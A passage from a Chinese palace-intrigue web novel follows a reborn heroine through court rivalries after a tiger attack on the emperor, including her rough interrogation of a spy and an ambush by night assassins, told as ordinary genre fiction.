厉青雪有些失望,眼神上下打量孟蕊,“你真累了?骑马坐着就行,又不费工夫。”
“真的很抱歉,郡主,我确实累了。”
孟蕊面含歉意,又露出几丝尴尬。
“我睡觉认床,昨夜几乎没怎么睡着,现在困倦得眼睛都要睁不开,真的很想回去休息,咱们改日再一起骑马,成吗?”
厉青雪来找孟蕊骑马,本就是一时兴起,看孟蕊脸上确实泛着些困意,也没想为难她,正要答应,一道满含讽刺的尖利女声从侧边传来。
“孟小姐当上了县主,就是不一样,以前每日在外抛头露面,操劳生意,都不嫌累,现在倒变得身娇体贵起来了。”
齐月佳在丫鬟婆子的簇拥下,昂首骄傲地走了过来。
她现在是赐婚定下的准二皇子妃,身份高贵,但也忘不了之前受过的苦。
当日在永宁侯府,孟蕊和纪华筠毁掉了齐月佳和晋国公夫人杜氏的计划,戳穿了她们的阴谋,害得晋国公府被查,乃至最后被褫夺爵位,也让齐月佳从公府小姐沦为平民,受尽苦头……
这笔账,齐月佳都算在了孟蕊头上。
齐月佳瞪了孟蕊一眼,目光掠过厉青雪身后的齐轩,笑容恶劣。
“孟小姐是真的累了不想骑马?还是看到故人与郡主在一起,心中伤感,说谎骗郡主,实则要回去哭鼻子呢?”
厉青雪一听,看看孟蕊,又看看齐轩,眼神转深。
孟蕊冷冷看着挑事的齐月佳。
这个祸害,之前陷害南音,却因其父和杜氏被确定是主谋,包揽了罪过,让她免于惩罚。
后来,齐月佳攀上了二皇子,又在陛下面前献出晋国公的罪证,获得陛下嘉奖,内定下了二皇子侧妃的位置。
再到二皇子除夕夜和太监乱来,陛下怒极,更是直接将齐月佳,赐婚给二皇子为正妃。
孟蕊明白陛下这样做的用意。
晋国公府倒了,齐月佳身后已经没有助力,这是变相给二皇子的惩罚。
但对于齐月佳来说,从公府小姐到平民,再一跃成为二皇子正妃,是她求之不得的富贵荣华。
有了准二皇子妃这个名头,齐月佳这些日子受尽追捧,越发地心高气傲。
看到青城郡主带着齐轩来找孟蕊,齐月佳就忍不住上前,想要借青城郡主的手,挫一挫孟蕊的锐气。
毕竟,青城郡主喜欢齐轩,是京中无人不知的事。
而且,齐月佳做这种事,不是第一次了。
去年这个时候,就是她派人告诉青城郡主,齐轩和孟蕊有情,惹得青城郡主发怒,去砸了孟蕊的彩云阁。
“孟小姐怎么不说话?是被我说准了,觉得心虚了?”
齐月佳盯着孟蕊,眼神中充满恶意。
“听说你和郡主关系好,不如你求求郡主,让她把你心悦之人,让给你啊。”
厉青雪忍不住又回头看了眼齐轩,见齐轩默默低下头,一副委曲求全的样子,心中不禁生出些气闷来。
孟蕊了然的目光,扫过在场众人,无奈地叹出一口气。
“齐小姐,你是真的很喜欢造谣。
之前在永宁侯府,你联合杜氏污蔑南音与乐师有染,惹得众怒,牵连你家被调查,你们晋国公府没了。
现在,你又想来污蔑我,不知道这个后果,你承不承担得起呢?”
第333章 一朵男白莲
“你!”齐月佳气得瞪眼,“你威胁我?”
“这怎么算是威胁呢?只是善意的提醒罢了。”
孟蕊温婉地对着齐月佳笑。
“齐小姐好好想想,要不是你先去害人,怎么会连累你们晋国公府一大家子跟着受苦?
我听说,住去京郊庄子上的齐家人,连饭都吃不饱,齐大公子已经下地种田,养活一家老小了。”
孟蕊故意看了齐轩一眼,转而对厉青雪说。
“郡主心善,收留了齐二公子,不像某些人,自己锦衣玉食,到处耀武扬威,却连自己的亲人也不帮。”
齐月佳被孟蕊说得难堪,反驳道:“齐轩在街上找你借银子,你不也没帮?”
“我又不是他的亲戚,为何要帮?”
孟蕊理所当然地说。
“再说,齐二公子以前就四处讲我坏话,看不起我在外抛头露面做生意,我遇到困难时,他不曾帮过我,我凭什么帮他?”
一直沉默的齐轩,霍然抬起头,看向孟蕊,“你也不曾来向我求助。”
“那是因为我知道,你根本不会帮我!”
孟蕊真是受够了齐轩的阴魂不散,她决不能被脾气火爆的厉青雪误会。
“齐轩,你这人审时度势,无利不起早,我给你带来不了好处,你看都不会看我一眼,又谈何帮忙?
你不止一次地想退了与安乐侯府千金的婚事,不就是想找一个对自己有助力的妻子吗?”
孟蕊指着齐轩,义正言辞地控诉。
“现在你攀附上了郡主,算你有本事,你为什么还要和你妹妹来污蔑我?
挑拨我和郡主的关系,你们想做什么?就这么见不得我过得舒坦吗?”
孟蕊坦坦荡荡地对上厉青雪惊讶的目光,拉上厉青雪的手,言辞恳切道。
“郡主,去年您救我回镇北王府,我为了报答,就和您说过,晋国公府不是个好去处,我从来都不想嫁给齐轩。
现在,不管您怎么想,我还要和您补充一句,齐轩这个人,也不是个好的,农夫与蛇的故事,您应当听过,可千万当心,他反嘴咬您一口!”
孟蕊前世的痛苦开端,最初开始于厉青雪为了齐轩争风吃醋,打砸了孟蕊的铺子,致使孟蕊受伤,又因被安乐侯罚跪,发热昏迷,成了安乐侯府的家奴。
智者千虑,不如蠢人灵机一动。
厉青雪这种脾气火爆、偏执愚蠢,又对齐轩一往情深的,发起疯来,最是可怕。
孟蕊宁愿得罪齐轩和齐月佳,都不能让厉青雪以为她对齐轩还有感情。
把话说绝,让厉青雪知道,孟蕊与齐轩没有任何可能,才能让她安心。
“郡主,您信我,齐轩绝不是良人!”
孟蕊不遗余力地说着齐轩的坏话。
“您知道吗?齐轩的母亲,就是被他父亲害得病逝的,只为了迎娶填房杜氏,用杜氏带来的嫁妆,填补府中亏空。
他们齐家,家学渊源如此,他齐轩今日能为了攀附郡主您伏小做低,焉知明日不会为了更大的利益背叛……”
“孟蕊!”
齐轩厉声喝止孟蕊的话。
“你这话过分了!我今日没有得罪你。”
“怎么没得罪?”
孟蕊冲着齐轩喝道,声音比齐轩更大。
“你纵容齐月佳污蔑我和你的关系,不站出来解释,又做出一副暧昧的样子时,就是得罪我了!”
孟蕊很清楚齐轩在想什么,顺水推舟,借厉青雪的手,报复孟蕊没有帮他。
齐月佳挑事儿,厉青雪出手,就他齐轩,是一朵出淤泥而不染的男白莲!
孟蕊才不会让他们得逞!
“郡主,您相信我,我何曾骗过您?我说的那些,一查便知。”
孟蕊摇晃着厉青雪的手,放软了语气。
“还有齐月佳二皇子妃的位置,不也是她告发她大伯晋国公得来的吗?他们全家都是黑心肝,坏透了,您可不能听信他们污蔑我的话!”
“你!”
齐月佳羞愤地指着孟蕊。
“你知道我是皇子妃,还敢这样说我?信不信我治……”
“治什么?你要治我的罪?”
孟蕊毫不畏惧,甚至语带讥诮。
“齐小姐,你还不是二皇子妃呢,就如此趾高气昂,无理也不饶人,往后你嫁给二殿下,岂不是连郡主也要被你踩在脚下?”
挑拨离间而已,谁不会啊?
孟蕊用余光瞄了一眼厉青雪的脸色,果然看到她眼神不善地瞪向齐月佳。
根据孟天带回的信,和这段时日查到的消息,支持二皇子的曹家,确实和北地镇北王厉青鸿多有书信往来。
很可能,他们两家已经结盟,厉青雪作为厉青鸿的亲妹妹,说不定也已经知道。
齐月佳即将嫁给二皇子,而作为齐月佳堂兄的齐轩,入了镇北王府,甘愿伺候起他不喜的厉青雪来。
种种迹象都表明,二皇子、曹家和镇北王府的关系日益紧密。
孟蕊又不禁会想,厉青雪今日来找她骑马,又是出于什么目的?
是一时兴起?还是有所图谋?
孟蕊斥责齐月佳的声音很大,还带着“皇子妃”“二殿下”这些惹人注意的词句,吸引了周围不少女眷的目光。
齐月佳感受到众人的注目,脸色微变,她身边的嬷嬷也提醒她不要惹事。
齐月佳不再与孟蕊斗嘴,转而向厉青雪道:
“郡主,我与孟蕊有旧怨,她说的那些,都是无稽之谈,当不得真,我还有事,告辞。”
说完,齐月佳带着人快步走了。
厉青雪轻哼一声,双手抱臂,不悦道:
“闹这么一场,本郡主骑马的兴致,都被搅合没了!”
孟蕊也懒得再哄着厉青雪,她心中存着太多事,此时只想离这些麻烦人麻烦事越远越好。
她疲惫地打了个哈欠,对厉青雪抱歉地说:
“对不起,郡主,我真的好困,实在撑不住,要回去歇会儿,也告辞了。”
身边的吟夏和吟秋,连忙一左一右搀扶着孟蕊。
厉青雪探究地看向孟蕊,挥了挥手,“你走吧,本郡主不用你陪。”
孟蕊对厉青雪行了一礼,做足礼数后,才让吟夏和吟秋扶着她离开。
回到行宫中的住处,孟蕊立刻安排人去围场上盯着动静,随时报于她。
三个时辰后,侍卫急匆匆赶回来禀报:
皇帝在围捕猛虎时受伤!
孟瑜为救皇帝,和猛虎一起掉下山崖,生死不明!
第334章 猛虎伤人
孟蕊心中一沉,镇定地问:
“陛下伤势如何?我大哥呢?他可有受伤?当时现场是何情形?”
侍卫答道:
“陛下手臂受伤,没有生命危险。
大少爷没有受伤,但卑职打听到,那猛虎,最先是冲大少爷去的,陛下是为了救大少爷,才引来猛虎的攻击。
危急关头,二少爷挺身而出,飞扑到猛虎身上,拳打刀刺,那猛虎明明已经快要死了,却突然跃起,带着二少爷一起,掉下了山崖……”
“他们派人去山崖下找了吗?”孟蕊问。
侍卫不确定道:“陛下下令,派羽林军到崖下去寻二少爷,但如今天色已晚,围场中地形复杂,卑职来时,羽林军似乎还在商议路线,并未出发。”
孟蕊“腾”地站起来,双手紧握成拳,“大哥现在何处?”
“大少爷应是在陛下寝殿中。”侍卫回答。
“知道了,你先下去吧。”
孟蕊挥退了侍卫,让吟秋帮她更衣。
她换上一身利落的蓝色骑装,将带来的飞刀暗器药粉,尽可能多地带在身上。
吟秋担忧地提醒:“小姐,大少爷吩咐过,您只需安心待在此处,余下的,大少爷和二少爷已经做好了安排。”
“我听到二哥坠崖的消息,若依然没事人一般待在这里,岂不是引人怀疑?”
孟蕊快速将自己整理好,转身望了眼窗外逐渐暗下的天色,又对吟夏和翠柳说。
“吟夏,等天黑下来后,你带着翠柳,去找纪小姐,她会保护你们。”
“姑娘,我能不能和你待在一起?”翠柳乌溜溜的大眼睛中闪着惊惶。
孟蕊摸了摸她的发顶,安抚道:
“翠柳,你乖乖和纪小姐待着,等我办完事,就来接你。”
翠柳不安地揪住孟蕊的衣袖,“姑娘,你要去办的事,会不会很危险?我可不可以帮你?”
“会有一点危险,但我必须要去做,运气好的话,便能一劳永逸了。”
孟蕊双手放在翠柳的肩上,鼓励道。
“翠柳,你保护好自己,就是对我最大的帮助,你能做到吗?”
翠柳对视上孟蕊坚定明亮的双眼,感觉自己也充满了力量。
她重重点头,“姑娘放心,我一定保护好自己,不拖你后腿!”
“好!我们一起努力!”
孟蕊拍了拍翠柳的肩,又检查了一遍身上的物什,带着吟秋出门,向皇帝寝殿走去。
天边一抹殷红的晚霞,尤照残阳如血,将暮色下的行宫也染红。
孟蕊行至皇帝寝殿门口时,这里已经聚集了不少皇室成员和王公大臣们。
曹太后站在紧闭的寝殿门口,她的身后还跟着二皇子、二皇子的母妃曹嫔、曹尚书、曹湛、齐月佳,以及伺候的宫人们。
面色冷峻的高大侍卫,严格把守着殿门,没有要让道的迹象。
“太后娘娘要去看望陛下,你们岂敢阻拦?”
曹太后身边的刘公公,一手搀扶着太后,一手指着拦门的侍卫训斥。
“还不快开门!请太后娘娘进去!”
曹太后不言,只冷眸盯着紧闭的殿门,仿佛要通过这道门,看穿里面的情况。
侍卫手持长戟,对着刘公公冷硬答复:
“太医正在殿内为陛下治伤,陛下有旨,治伤期间,任何人都不见。”
“大胆!太后娘娘是陛下的母后,陛下不见其他人,也不会不见太后娘娘!”
刘公公尖细的嗓音,更加刺耳,对着侍卫威胁道。
“你们竟敢对太后娘娘不敬!是大罪!”
这时,寝殿门从里面打开,一身银灰铠甲的羽林军统领霍济,从殿内走出,回身快速将殿门关上,对着曹太后躬身一礼。
“参见太后娘娘,陛下正在治伤,请您先回寝殿休息,待陛下的伤势处理好后,派人去报于您可好?”
曹太后尖锐的目光在霍统领身上划过,此人是庆明帝的亲信,只听庆明帝一人差遣,有他在,今日这殿门,不好进了。
也因如此,曹太后更加好奇,庆明帝到底受了多重的伤,竟然不让任何人进去,还召了霍统领在此守门。
“听说太医已经进去一炷香的时间了,皇帝的伤还没处理好?”曹太后装若关心地问。
霍统领回道:“陛下龙体重要,太医自是要细细处理伤处,多花些时间,也是应当。”
没有得到想要的答案,曹太后盯着霍统领,仿佛要从他粗犷冷沉的脸上,看出些许端倪。
庆明帝的伤,是轻是重,至关重要。
以如今庆明帝这般掩饰不见人的情形看,曹太后怀疑庆明帝伤势不轻。
在这个当头,曹太后不会愿意离开此地,回自己寝殿等消息。
“陛下的伤势如何了?怎么都站在这里不进去?”
吴贵妃带着浩浩荡荡一大群人,也赶了过来。
她焦急地询问着,看到曹太后连忙行礼。
“臣妾参见太后娘娘。”
跟在吴贵妃身后的三皇子、吴尚书、吴宁清、姜瑶等人,也对着曹太后行礼。
其他人也向着吴贵妃行礼。
曹太后冷眼看着吴贵妃和她带来的人,片刻之后,才喊了“平身”。
吴贵妃站起身,想要进殿,看到守门的侍卫和霍统领,不解地问:
“霍统领这是……不让人进去?”
霍统领对着吴贵妃道:
“回贵妃娘娘,太医正在为陛下治伤,在此期间,陛下不许任何人进入寝殿,请贵妃娘娘先带人回去,等候消息。”
吴贵妃看了眼站着不动的曹太后一派的人,美眸一转,就有了计较。
曹太后和二皇子都不走,那她和三皇子也不能走。
“陛下受了伤,本宫焦心不已,恨不得马上见到陛下,哪里敢回去,便就在此处等候陛下召见。”
霍统领见他们都不走,也没有再说什么,只跨步站在寝殿门口,手扶着腰间长剑,与侍卫一起守门。
吴贵妃对此也不在意,还让随行的宫人去搬来好几张椅子,分给太后等人坐。
孟蕊站在殿外台阶下无人注意的拐角处,听完了曹太后和吴贵妃他们的对话。
陛下此时不见任何人,那她也不好在这个当头去求见。
孟蕊走出拐角,准备去陛下寝殿门口晃一圈,做做样子就离开。
刚走出去,她迎面遇上快步走来的四皇子和五公主。
第335章 闭门不见
“参见四皇子殿下,五公主殿下。”
孟蕊红着双眼,对着四皇子和五公主行礼。
五公主看着她问:“你在这儿做什么?”
“我……我听说我二哥出事了,所以我来……”
孟蕊眼角掉落一颗晶莹的泪珠,哽咽着说。
“我来求……求陛下,派人去救我二哥……我二哥还那么年轻,他、他马上就要成亲了啊,他不能有事的!”
孟蕊越说越伤心,泪水接连不断地往下落。
四皇子看到孟蕊楚楚可怜的模样,安慰道:
“出事后,父皇就已下旨,派羽林军去崖下寻人,你也不要太伤心了。”
那山崖陡峭,深不见底,孟瑜又是和猛虎一起掉落,四皇子觉得凶多吉少,对孟蕊生出几分怜悯。
“多谢四殿下告知。”孟蕊感激地望向四皇子,屈膝行了一礼。
孟蕊这边的动静,立刻吸引了殿门口等候的众人注意。
吴贵妃看到孟蕊,亲切地对她招手,“蕊儿,到本宫这儿来。”
孟蕊吸了吸鼻子,擦干眼泪,向着寝殿大门的方向走近。
她没有走到吴贵妃身边,而是在曹太后和吴贵妃前方中央的台阶下站定,规矩下跪,对着她们行礼。
“臣女参见太后娘娘,参见贵妃娘娘,曹嫔娘娘。”
四皇子和五公主也走过去,向着太后等人请安。
“起来吧。”曹太后没有为难他们,直接喊起。
“多谢太后娘娘。”
孟蕊站起身,垂着头,一副泫然欲泣的可怜模样。
吴贵妃从椅子上站起,在宫人的搀扶下,走到孟蕊身边,涂着嫣红蔻丹的修长手指,轻柔地托起孟蕊的双手,温柔而怜惜地说:
“你这孩子,吓到了吧?你二哥吉人自有天相,一定会没事的。”
“多谢贵妃娘娘关心。”
孟蕊感激地要行礼,被吴贵妃拉住。
“跟本宫客气什么?来,咱们坐着一起等。”
吴贵妃牵着孟蕊,走上台阶,到达寝殿门口。
原本坐着的吴宁清,立即起身,让出自己的椅子,柔声道:“县主请坐。”
孟蕊不好意思地摇头,“不必麻烦了,我站着等便是。”
“蕊儿坐吧,别跟你宁清姐姐客气。”
吴贵妃如一个慈爱的长辈般,将孟蕊按在椅子上坐下,温声劝慰。
“本宫与你父亲母亲都相熟,照顾着你,是应该的。”
孟蕊抿着唇,目含感动,抬眼望向吴贵妃,正要说话,听见对面的曹嫔阴阳怪气道:
“贵妃娘娘待瑞嘉县主,可真是温柔体贴,这是迫不及待想要拉拢谢家?”
吴贵妃在自己的位置坐下,望着曹嫔,不悦地蹙眉。
“曹嫔姐姐,你这是什么话?本宫是看这孩子爹娘都不在身边,两个哥哥一个受伤,一个掉下悬崖,生死不明,想要多照看些罢了,怎么到了你嘴里,那么难听呢?”
曹嫔冷哼一声,“你是怎么想的,你自己心里清楚。”
曹太后回头睨了一眼曹嫔,示意她闭嘴。
曹嫔不甘心地低下头,她现在连妃位也没有了,在吴贵妃面前,更加低人一等,心中的憋屈令她难受至极。
孟蕊装作没有听出吴贵妃和曹嫔之间的风起云涌,她用手捏着帕子,捂在心口,焦急地问吴贵妃:
“贵妃娘娘,您刚才说,我的一个哥哥受伤了?是我大哥受伤了吗?”
“本宫也是听说。”
吴贵妃看向三皇子询问。
“皇儿,你当时在场,可看清了?”
三皇子心有余悸道:“当时那猛虎突然震断绳索,向孟大人扑去,孟大人身上见了血,现下应是也在父皇寝殿内医治,县主不妨去问问。”
三皇子意有所指地看向寝殿门口的霍统领。
二皇子和三皇子都是一起送庆明帝进了寝殿,但被庆明帝下令隔绝在外。
而孟瑾,却被庆明帝带入寝殿中,一同让太医医治。
且在围场上时,孟瑾被猛虎攻击,庆明帝对孟瑾露出的紧张神情,都让三皇子心中生出重重疑虑。
现在,庆明帝殿门紧闭,三皇子急需利用孟蕊,去试探确认他的猜测。
孟蕊顺着三皇子的目光,看向寝殿门口尽责守门的侍卫们。
她站起身,走到霍统领面前,急切地问:
“霍统领,我大哥在里面治伤吗?他伤得重不重?”
霍统领对孟蕊抱拳一礼,“县主不必担心,孟大人没有受伤,也不在殿内。”
“不可能!我亲眼看到孟瑾和父皇一起进殿的!”
三皇子说得斩钉截铁,转头看向二皇子。
“二皇兄,刚才你和我一直守在殿外,你也看到了,是不是?”
二皇子淡淡瞥了三皇子一眼,证明道:
“是,我也看到孟瑾陪同父皇一起进殿,当时霍统领你也在,还把我们拦在了殿外。”
霍统领冷着脸回答:
“孟大人确实送了陛下回寝殿医治,太医检查了孟大人身上,只是衣服被猛虎抓破,并没有受伤。
之后,陛下便命孟大人前去林中,调查猛虎伤人的真相。”
“这么说,我大哥没有受伤,真是太好了!”
孟蕊喜极而泣,拿着帕子擦拭眼角的泪。
二皇子脸色微变,“调查猛虎伤人的真相?难道父皇怀疑猛虎伤人,不是意外?”
“此事已交由孟大人前去调查,相信不久便能有结果。”霍统领道。
三皇子疑惑地问:“可是,我一直在寝殿外等候,并未看到孟大人离开,是怎么回事?”
“三殿下或许看岔了,孟大人确实早已离开了此处。”霍统领答道。
三皇子皱起眉,他一路陪同父皇到寝殿门口后,除了吩咐随从去通知吴贵妃和吴尚书时,与随从说了几句话,其余时刻一直注意着寝殿大门的动静。
他确定,孟瑾不可能悄无声息地从殿门离开,除非是翻窗,或是从后门偷偷溜走,才让他没能发现。
如果是这样,父皇就是故意不让守在殿门外的他们知道孟瑾离开,是为了防着他们,甚至已经在怀疑,猛虎伤人,是他们其中的某人所为。
一时间,殿外气氛变得诡异沉闷,等候的众人中,无人再说话。
第336章 跟踪之人
一片静谧中,天色越来越暗。
掌灯时分到,行宫中一盏盏昏黄的灯笼亮起,划破沉寂的黑夜。
庆明帝的寝殿内也亮起了灯,但大门紧闭,殿内也没有传出任何动静。
霍统领依然如门神一般,看守着殿门,不许任何人进入。
春夜露重,曹太后有些坐不住了,扶着刘公公的手起身,对霍统领说:
“霍济,哀家已经在此等了一个时辰,你进去问问皇帝,到底还要哀家等多久?”
霍统领对曹太后抱拳道:
“太后娘娘,陛下的旨意是,没有陛下的允许,谁也不见。
太后娘娘凤体尊贵,不宜久等吹风,请您先行回宫,用膳休息。”
曹太后老谋深算的双眸眯起,越发觉得霍统领不让他们见皇帝的行为,十分可疑。
“罢了,既然皇帝不想见哀家,哀家也不必在这里折腾自己这把老骨头了。”
太后转过身,递给胞弟曹尚书一个眼神,又看向二皇子。
“安儿,你父皇受伤,你在此等候,晚上还要给你父皇侍疾,知道吗?”
二皇子萧安连忙躬身应是,“皇祖母放心,孙儿一定照顾好父皇。”
“嗯,你是个好孩子,不要让哀家失望。”
曹太后深深看了一眼萧安。
“哀家乏了,回宫!”
在宫人的搀扶下,曹太后转身走下台阶。
“恭送太后娘娘!”
孟蕊跟着其他人一起行礼。
曹尚书和曹湛等人,都跟着曹太后离开了,二皇子和曹嫔、齐月佳还留着等候。
有曹太后这句侍疾的话在,几个皇子公主,都只能等候在此,以全孝道。
吴贵妃和曹嫔,为了自己的儿子,更不会在此时离开。
齐月佳、吴宁清和姜瑶,要在此时表现贤良淑德,也不能走。
但孟蕊与他们不一样。
她是来求皇帝救她二哥的,得到了皇帝已经下令派人去崖下找孟瑜的消息,她也不必一直等在冷风中挨饿受冻。
现在曹太后已经离开,开了口子,孟蕊顺势对吴贵妃提出告辞。
“贵妃娘娘,臣女有些头晕,想先回住处休息,再让人去问问我二哥的消息,便先行告退了。”
吴贵妃疲惫地点了头,“去吧,回去好好休息。”
“多谢贵妃娘娘。”
孟蕊行了一礼,带着吟秋往回走。
她还能感受到身后,姜瑶和齐月佳幽怨又羡慕的眼神。
行宫长廊上,昏黄的宫灯,照出树影幢幢。
孟蕊感到背脊发寒,突然停下脚步,猛然回头看去,一个来不及躲藏的人影,一闪而过。
“谁在那里?”
吟秋大喝一声,运起轻功,就冲了过去,从树丛中抓出了一名年轻男子。
孟蕊快步走过去,一眼认出了此人。
“姜铭昊?你跟踪我做什么?”
“谁跟踪你了?”姜铭昊被吟秋制住,哇哇大叫,“快让你的丫鬟放开我!”
“啪!”
孟蕊一巴掌打在姜铭昊的脸上,把姜铭昊打懵了,停止了大叫。
“你、你敢打我?”
孟蕊没耐心和他耗,环视周围,没有看到其他人,对吟秋冷酷下令:
“把他打晕,带回去审问。”
“是!”
吟秋毫不犹豫,一手刀劈晕姜铭昊,扛起人,和孟蕊一起快步回到他们在行宫内的住处。
吟夏给她们开了门,帮忙一起把姜铭昊拖进了屋内,放在地上。
关上房门,吟秋正准备拿凉水把姜铭昊泼醒,被孟蕊阻止。
“先等等,把他身上搜一遍。”
吟夏和吟秋领命,利落地解了姜铭昊的衣带,把他从内到外搜了个干净。
“小姐,他身上的东西,都在这里了。”
孟蕊“嗯”了一声,看向桌上那些从姜铭昊身上搜出的东西。
钱袋里有银票三百两、银锭五十两,身上还有玉佩、香囊等一些小物件,其中最值钱的,要数那把晶莹剔透的白玉折扇了。
孟蕊记得这把白玉折扇,前世,这把折扇是姜瑶送给姜铭昊的,姜铭昊欢喜至极,从那以后,姜铭昊对姜瑶言听计从。
这一世,这把折扇依然在姜铭昊手中,应该也是姜瑶送给他的。
孟蕊拿起白玉折扇,小心翼翼地展开,仔细观察起来。
精工镂空的每一片白玉扇叶上,都镌刻着不同的仕女图。
其中一片扇叶上的图案,孟蕊十分眼熟,那仕女的装扮,是南照女子。
这把白玉折扇,很可能是南照人制作的。
姜瑶果然在很早以前,就与南照人有了联系。
孟蕊将白玉折扇收起,对吟秋招了下手,指着姜铭昊道:
“把他泼醒。”
吟秋将早已准备好的一盆冷水,一下子全泼在姜铭昊的脸上。
从头而降的冷意,让昏迷的姜铭昊瞬间睁开眼,惊恐地看着眼前的孟蕊。
“你、你要对我做什么?”
吟秋拎着姜铭昊的衣领,厉声质问:“老实交代!你刚才为什么跟踪我家小姐?”
“我没跟踪你们!”姜铭昊嘴硬狡辩道,“那条路是你们的呀?我刚好路过不行啊?”
孟蕊冷漠地看着他,对吟夏和吟秋下令:
“揍他一顿,打到他说实话为止。”
吟夏和吟秋都是一愣,这是她们做孟蕊丫鬟以来,第一次听到孟蕊说出这么粗暴的命令。
“是!小姐。”
短暂的怔愣后,吟夏和吟秋开始对姜铭昊拳打脚踢。
“哎呦!别打了!哎呦……”
姜铭昊痛得直叫唤,还不忘向着孟蕊放狠话。
“我姐夫是三皇子,孟蕊,你敢打我!我让我姐夫赐死你!”
孟蕊淡漠看着他,心中划过些许快意,但并不多。
前世,姜铭昊为了讨好姜瑶,对孟蕊的拳打脚踢,让她一身伤痛。
孟蕊都记着的,今日姜铭昊撞到她手里,那就先拿点利息好了。
姜铭昊见威胁不管用,又开始恶声恶气地骂骂咧咧。
“孟蕊,你就是个祸害,孟瑜被老虎吃了,就是被你害死的!你还要来害我,我姐姐、姐夫不会放过你的!我爹娘会为我报仇的!”
“是吗?那就往死里打!”孟蕊眼中闪过杀意。
吟夏和吟秋下手更重了几分,专往姜铭昊的痛穴上招呼。
“啊!好痛!快住手!”
姜铭昊终于承受不住,大喊道。
“你们要知道什么,我都说!”
孟蕊抬起手,让吟夏和吟秋停止,冷声问:
“那伤人的老虎,是你们安排的吧?”
第337章 深夜刺杀
被打得瘫软在地的姜铭昊,惊愕地抬头看向孟蕊,“你说什么?”
“怎么?你的好姐姐姜瑶,让你来跟踪我之前,没有告诉你吗?”
孟蕊坐在软榻上,端起茶水轻抿一口,眼眸微垂,居高临下地看着地上的姜铭昊。
“姜瑶帮助三皇子,控制林中猛虎,企图袭击陛下,被我两位兄长发现并阻止。
她让你来跟踪我,就是为了打探我两位兄长的行踪,对不对?”
“不对!”
姜铭昊脸上闪过的惶恐,不似作假。
“你血口喷人,我姐弱女子一个,怎么可能控制到老虎?”
“姜瑶当然不会控制老虎了,但吴家之中,定有驭兽师在。”
孟蕊不紧不慢地说。
“去年在京郊的林子里,吴家就试图让驭兽师控制狼群,制造英雄救美的假象,却不料没控制好,玩脱了,让自己家嫡子受了重伤,我没说错吧?”
“怎么可能……”姜铭昊惊疑不定地皱起眉,“再如何,也不会刺杀陛下,那是……”
“是抄家灭族的大罪哦!”
孟蕊语气森冷地接话,眼神笃定地直视姜铭昊。
“你来跟踪我,也是姜瑶的帮凶,涉及谋逆大罪,你这辈子都完啦!”
姜铭昊用手撑着地面坐起,眼珠乱转,呼吸急促,在孟蕊的话语中,他的脸上呈现出越来越惊恐的表情。
“不会的……不是这样的……”
姜铭昊自我安慰着,稍微平静下来,抬眸瞪向孟蕊。
“你胡说!我姐让我来跟踪你,只是因为怀疑孟瑜没死,让我跟来看看你和孟瑜有没有联系而已,才没有谋逆!”
“哦?是这样吗?”孟蕊微微挑眉,“她说的你就信?要是她故意骗你呢?”
姜铭昊这个蠢货,还是一如既往地没脑子,随口一诈,什么都说了。
孟蕊并不完全相信姜铭昊的话,因为姜瑶,肯定没和姜铭昊说实话。
“她是我一母同胞的亲姐姐,不会骗我!”
姜铭昊肯定地说,同时挑衅地瞪着孟蕊。
“你这个阴狠毒辣、不念旧情的女人,枉费父亲母亲养你这么大,你居然落井下石,对我们不管不顾,还让人打我,你永远不配得到我们的原谅!”
孟蕊看着姜铭昊这副蠢样子,觉得他实在太可笑了,也不禁笑出了声。
“呵呵,姜铭昊,你在想什么?不会觉得,在你们全家逼我为奴后,我还会对你们保留任何感情吧?”
孟蕊的嘲讽,让姜铭昊尴尬又羞愤。
姜铭昊指着孟蕊激愤地责骂道:
“孟蕊,你无情无义!我当了你十几年的弟弟,你居然让人把我打得遍体鳞伤,你要向我道歉!给我赔偿!”
“道歉和赔偿都没有。”孟蕊淡漠道,“你一个死人,不需要那些。”
“你说什么?!”姜铭昊脸色惊变。
孟蕊对吟夏招了下手,语气冰冷地吩咐:
“让侍卫进来,把他打晕后,丢去围场里,喂野兽。”
“不要!”姜铭昊吓到失声,“你怎敢这样对我?!”
姜铭昊想要爬向孟蕊,被身后的吟秋一把制住,按在地上不能动弹。
孟蕊冷漠地睨着他,眸中犹如淬冰。
“你的亲姐姐姜瑶,害得我兄长和猛虎一起掉下山崖,姐债弟偿,你为了姜瑶还债,有什么问题?”
“我不……唔!”
姜铭昊一句话没说完,吟秋就在孟蕊的示意下,打晕了他。
“小姐,我们真要把他丢进围场?”吟秋询问道。
“当然是假的,我吓他的。”
从行宫到围场,要经过羽林军的巡查,孟蕊不会给自己找麻烦。
“让侍卫把他带出去,在行宫里找个偏僻的地方藏起来就行,若是安乐侯府上门要说法,我们只说没见过他。”
“是!”
吟夏和吟秋办事利落,很快把姜铭昊身上搜出来的东西,都放回了他身上,叫进来武功高强的侍卫,把姜铭昊扛走了。
这一晚,孟蕊和衣而眠,不敢睡得太深,唯恐突然来事。
四更时分,守在孟蕊床边的吟秋,突然警觉地站起来。
她手持长剑,悄声走向门边,透过门缝,查看外面的动静。
“嚓!”
一支细长的竹管,从门缝中插入,一缕青烟从竹管中冒出。
吟秋找准方向,通过门缝,将长剑刺了出去,便听到外面传来一声压抑的痛呼,那竹管应声落地,被吟秋迅速踩烂。
床上的孟蕊,早已睁开眼,坐了起来。
她快速穿好鞋下床,走到吟秋身边,准备迎敌。
透过门缝,孟蕊看到门外倒了一个黑衣刺客,此人应该是刚才想要对屋内吹迷药,被吟秋一箭穿心而死。
另一名黑衣刺客,已经跑到庭院中央,对着空中吹响了一声鸟鸣。
霎时,又有十几名黑衣刺客从天而降,出现在院中,一起向着孟蕊所在宫室冲来。
孟蕊神情一凛,他们这是要硬闯了。
“放箭!”
孟蕊对着门外大声命令。
“咻!”
“咻!”
“咻!”
数不清的箭矢,从庭院四周的屋顶射出,那群黑衣刺客瞬间折损了一半。
剩下的几名黑衣刺客,冲过箭雨,破门而入,迎接他们的,是屋内的又一阵箭雨。
“中计了!快撤!”
黑衣刺客们意识到不对时,已经晚了。
他们想要撤退,庭院中虎视眈眈的侍卫们,不会给他们机会。
“抓住他们!留活口!”孟蕊厉声下令。
黑衣刺客们四散逃去,被侍卫们拦路阻截,缠斗在一起。
孟蕊紧张地看着,刺鼻的血腥气萦绕在鼻尖,令她感到恶心。
突然,一名倒地的黑衣刺客,突然从地上爬起,向着孟蕊冲来。
孟蕊身边的吟夏和吟秋,一个护在孟蕊身前,一个手持长剑冲了上去。
“噗!”是飞刀刺入皮肉的声音。
不等吟秋出招,孟蕊的飞刀已经出手,射中了那名刺客的脚,将他定在地上。
